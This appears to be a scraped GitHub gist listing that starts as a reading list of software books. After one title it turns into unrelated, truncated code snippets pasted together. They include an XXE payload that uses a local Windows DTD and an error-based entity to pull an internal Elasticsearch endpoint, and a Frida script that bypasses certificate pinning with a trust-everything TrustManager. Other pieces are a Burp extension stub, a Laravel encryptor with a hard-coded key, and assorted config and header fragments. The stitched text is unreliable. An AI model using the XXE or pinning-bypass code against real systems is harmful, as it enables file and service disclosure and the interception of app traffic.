Andrey Stepanov andreystepanov

Some recommended books for improving as a software developer

Most software books are too language specific and go out of date too quickly. What I find has stayed with me are books about bigger concepts, such as systems thinking and complexity, and also so-called "soft skills" such as management and psychology.

User experience

These are all really about developing empathy for other people :)

"The Design of Everyday Things" by Donald Norman

	<!DOCTYPE doc [
	<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
	<!ENTITY % SuperClass '>
	<!ENTITY % file SYSTEM "http://example.com:9200/_cat/indices">
	<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file://test/#%file;'>">
	%eval;
	%error;
	<!ENTITY test "test"'
	>
	%local_dtd;

	from threading import Thread
	import time

	class TrafficMagnet(burp.IProxyListener):
	def __init__(self):
	callbacks.registerProxyListener(self)
	self._helpers = callbacks.getHelpers()
	self._callbacks = callbacks

	/**
	* uuidv7.c - Experimental stateless UUIDv7 implementation as of RFC draft 02
	*
	* Required: `clock_gettime()`, `arc4random_buf()`, and ~15-microseconds or
	* finer system clock resolution.
	*
	* This implementation employs 52-bit timestamp (consisting of 36-bit whole
	* seconds and 16-bit sub-second fraction) and 70-bit cryptographically strong
	* random integer in the following layout. It does not guarantee the monotonic
	* order of the generated IDs within the same timestamp (i.e. within ~15

	{
	description = "activity watch";

	inputs = {
	# for building rust apps
	naersk = {
	url = "github:nmattia/naersk";
	inputs.nixpkgs.follows = "nixpkgs";
	};

	var logger = console.trace;

	// ELEMENT

	;(getElementByIdCopy => {
	Element.prototype.getElementById = function(q) {
	logger('getElementById', q, this, this.innerHTML);
	return Reflect.apply(getElementByIdCopy, this, [q])
	}
	})(Element.prototype.getElementById)

	;; ---------------------------------------------------------------------
	;; Tag minor mode
	;; Copyright (C) 2020 Nicolas .P Rougier
	;;
	;; This program is free software; you can redistribute it and/or modify
	;; it under the terms of the GNU General Public License as published by
	;; the Free Software Foundation, either version 3 of the License, or
	;; (at your option) any later version.
	;;
	;; This program is distributed in the hope that it will be useful,

	<?php
	class LaravelEncryptor {

	private $key;
	private $cipher;

	public function __construct($key = 'ABCDEF1234567890ABCDEF1234567890', $cipher = 'AES-256-CBC') {
	$this->key = substr($key, 0, 7) == 'base64:' ? base64_decode(substr($key, 7)) : $key;
	$this->cipher = $cipher;
	}

	Java.perform(function() {
	console.log('\n[.] Cert Pinning Bypass');

	// Create a TrustManager that trusts everything
	console.log('[+] Creating a TrustyTrustManager that trusts everything...');
	var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
	var TrustyTrustManager = Java.registerClass({
	name: 'com.example.TrustyTrustManager',
	implements: [X509TrustManager],
	methods: {

	addEventListener("fetch", event => {
	event.respondWith(handleRequest(event.request))
	})

	////////////////////////////////////////////////////////////////////////////////////////////////////
	// ! DON'T LEAK THE SECRETS !
	// Use Workers KV if you can https://developers.cloudflare.com/workers/reference/storage/

	const telegram_token = "***REDACTED***";
	const telegram_url = "https://api.telegram.org/bot" + telegram_token + "/sendMessage";